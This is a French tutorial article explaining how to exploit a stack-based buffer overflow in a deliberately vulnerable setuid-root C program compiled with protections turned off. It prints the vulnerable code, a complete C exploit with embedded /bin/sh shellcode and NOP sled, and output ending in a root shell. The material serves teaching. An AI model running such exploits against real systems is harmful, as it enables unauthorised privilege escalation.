Débordement de tampon - dans la pile    Enregistrer au format PDF

Exploitation d’un stack-based overflow


par S3cur3D

Afin de simplifier l’exploitation, nous avons légèrement modifié le programme précédent :

  1.     //stack-based_overflow.c : Dépassement de mémoire tampon 2
  2.  
  3.  
  4.     void enregistrer_nom(char *nom_saisi) {
  5.  
  6.         char buffer_nom[100];
  7.  
  8.         strcpy(buffer_nom,nom_saisi);
  9.  
  10.         //Enregistrement du nom...
  11.  
  12.         printf("Votre nom, %s, a été enregistré avec succès\n",buffer_nom);
  13.     }
  14.  
  15.     int main(int argc, char *argv[]) {
  16.  
  17.         if (argc != 2) {
  18.             printf("Usage : %s < Votre nom >\n",argv[0]);
  19.             exit(0); }
  20.  
  21.         enregistrer_nom(argv[1]);
  22.  
  23.         printf("Tout s'est normalement déroulé\n");
  24.  
  25.         return 0; }

Télécharger

En fait, nous avons juste ajouté un bloc au début du main() qui permet de vérifier qu’il y a bien eu un argument et un seul de spécifié, ainsi que les arguments de la fonction main() qui permettent de récupérer les options passées à la commande. Cette fois, le programmeur, ayant entendu parler des buffer-overflows, a décidé d’allouer 100 caractères pour le buffer à remplir, ainsi, aucun nom ne pourra dépasser du tableau. Voici donc un exemple de fonctionnement du programme :

   $ gcc -z execstack -fno-stack-protector -m32 stack-based_overflow.c -o stack-based_overflow
   $ ./stack-based_overflow
   Usage : ./stack-based_overflow < Votre nom >
   $ ./stack-based_overflow SeriousHack
   Votre nom, SeriousHack, a été enregistré avec succès
   Tout s'est normalement déroulé
   $

Afin de rendre ce programme réellement vulnérable, faisons-en un SRP ; avec le compte root, on fait :

   # chown root.root stack-based_overflow
   # chmod +s stack-based_overflow
   # ls -l stack-based_overflow
   -rwsr-sr-x 1 root root 7163 2007-07-30 03:47 stack-based_overflow
   #

Nous avons donc repéré un suid root program, il faut maintenant trouver comment l’exploiter. L’idée, nous l’avons vu, est de réécrire l’adresse de retour qui sera lue après l’éxécution de "enregistrer_nom()". Aussi, il nous faudra injecter ce qu’on appelle bytecode en mémoire (du code assemblé, exécutable directement par le système). Nous allons nous concentrer sur un type particulier de bytecode, le shellcode qui consiste comme son nom l’indique en l’ouverture de shells. Pour ce, nous allons recréer un deuxième buffer, appellé crafted buffer, ou buffer travaillé. Comme son nom l’indique, nous allons le façonner de façon à ce que l’adresse de retour puisse être réécrite et permette l’éxécution du shellcode qui aura été injecté quelque part dans la mémoire. En fait, le buffer travaillé va lui-même contenir tous ces éléments. De façon générale, un crafted buffer contient trois éléments mis à la suite : le NOP sled (la luge sans opérations), le shellcode et l’adresse de retour répétée bout-à-bout plusieurs fois. Le NOP sled est juste une suite de caractères NOP (No OPeration), le caractère 0x90 pour les processeurs Intel. Si EIP tombe dans la luge sans opérations, il va effectuer chacune des instructions NOP et passer à la suivante, jusqu’à arriver au shellcode. On dit que l’EIP glisse dans le buffer. Quant au shellcode, savoir en écrire un est un métier en soi-même, vous pouvez vous reporter à la section sur l’écriture de shellcode. Voici le programme d’exploitation que je vous propose pour cet exemple :

  1.     //stack-based_exploit.c : Exploitation d'un dépassement de mémoire dans la pile
  2.  
  3.     #define OFFSET 164
  4.     #define LONG_NOPSLED 40
  5.     #define LONG_BUFFER 109
  6.  
  7.  
  8.  
  9.     char shellcode[] =
  10.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  11.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  12.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  13.  
  14.         //Ce shellcode est tiré de feu http://shellcode.org/shellcode/linux/null-free/
  15.     unsigned long stack_pointer() {
  16.         __asm__("movl %esp, %eax"); }
  17.  
  18.     int main() {
  19.  
  20.         int i;
  21.         long *temp_addr,ret_adr_eff,esp;
  22.         char *buffer,*temp_ptr;
  23.  
  24.         buffer = malloc(LONG_BUFFER);
  25.  
  26.         ret_adr_eff = stack_pointer();
  27.         ret_adr_eff -= OFFSET;
  28.  
  29.         temp_ptr = buffer;
  30.         temp_addr = (long *) temp_ptr;
  31.  
  32.         printf("Adresse cible à 0x%x (offset de 0x%x)\n",ret_adr_eff,OFFSET);
  33.  
  34.         for (i=0;i < LONG_BUFFER;i+=4) //Injection de l'adresse de retour
  35.             *(temp_addr++) = ret_adr_eff;
  36.         for (i=0;i < LONG_NOPSLED;++i) //Injection du NOP sled
  37.             buffer[i] = '\x90';
  38.         temp_ptr += LONG_NOPSLED;
  39.  
  40.         for (i=0;i < strlen(shellcode); i++) //Injection du shellcode
  41.             *(temp_ptr++) = shellcode[i];
  42.         buffer[LONG_BUFFER - 1] = 0;
  43.  
  44.         execl("./stack-based_overflow","stack-based_overflow",buffer,0);
  45.  
  46.         free(buffer);
  47.  
  48.         return 0; }

Télécharger

Pour tester cette exploitation, nous utilisons une vieille technique, qui consistait à évaluer l’adresse du buffer dans la pile du programme vulnérable, en regardant l’adresse de la pile dans un autre programme lancé dans les mêmes conditions, et en calculant la différence. Le programme ci-dessus reproduit en C exactement ce que l’on a expliqué plus tôt, à savoir la création d’un buffer, l’écriture répétée de l’adresse, le NOP sled puis le shellcode. Un peu plus de détail sur la longueur du buffer (109) et l’OFFSET (164) :

Commençons par le plus simple : le buffer. Comme expliqué dans les pages sur la segmentation, quand la fonction enregistrer_nom() est appellée, plusieurs variables sont empilées tour-à-tour. Tout d’abord, les arguments, donc le pointeur *nom_saisi. Puis l’adresse de retour et le frame pointer de la fonction main(), et enfin les variables locales, donc buffer_nom. Puisque le but est de réécrire l’adresse de retour, il faut réécrire tout buffer_nom, plus le frame pointer (4 bytes), puis l’adresse de retour. Cela fait 108 bytes, plus le byte nul qui terminera la chaîne de caractères : 109. Côté NOP sled, il est possible d’en prendre un bien plus large en le placant après l’adresse de retour et non avant, mais cela n’a pas trop d’importance ici.

Maintenant, le plus délicat dans notre cas est de calculer l’offset. Nous n’allons pas expliquer en détail cette différence, en premier lieu car cette technique est désormais désuette, mais aussi car la taille varie selon le compilateur utilisé et ses options par défaut. Nous allons essayer d’y aller par tâtonnements : en effet, nous avons le droit à une erreur de 40 octets grâce à l’étendue du NOP sled. Il faut en premier lieu voir la différence entre la pile du programme exploité et celle du programme exploitant : on voit que le main de l’exploitant a 6*4 = 24 bytes en plus pour ses arguments locaux. Comme le programme exploité fait un appel de fonction, il utilise au moins 12 bytes en plus (argument, adresse de retour, frame pointer). Tout ceci fait déjà un décalage de 88 bytes de manière sûre. Le compilateur peut induire des biais supplémentaires (alignement de la pile au début d’une fonction, alignement du buffer sur un multiple de 4 ou 16, ...). Une bonne connaissance de l’assembleur permet d’étudier exactement les différences entre les deux programmes et donc d’avoir une valeur quasi exacte, même si d’autres paramètres peuvent entrer en ligne de compte, comme la longueur du nom du programme ou des valeurs d’environnement. Ainsi, le plus rapide est souvent comme ici de faire une approximation puis d’ajouter la moitié de la longueur du NOP sled à chaque tentative jusqu’à tomber dans le NOP sled.

Il est maintenant temps de tester notre programme d’exploitation :

   $ gcc stack-based_exploit.c -o stack-based_exploit
   $ ./stack-based_exploit
   Adresse cible à 0xbffad724 (offset de 0xa4)

   Votre nom,                  
                         ë-^&#8240;1À&#710;F&#8240;F
   °
   &#8240;ó  V
   Í&#8364;1Û&#8240;Ø@Í&#8364;èÜÿÿÿ/bin/sh×ú¿$×ú¿$×ú¿$×ú¿$×ú¿$×ú¿, a été enregistré avec succès
   sh-3.1# whoami
   root
   sh-3.1#

Et voilà, nous avons réussi à faire apparaître une console root ! Ca valait la peine de s’embêter non ?!

Documentations publiées dans cette rubrique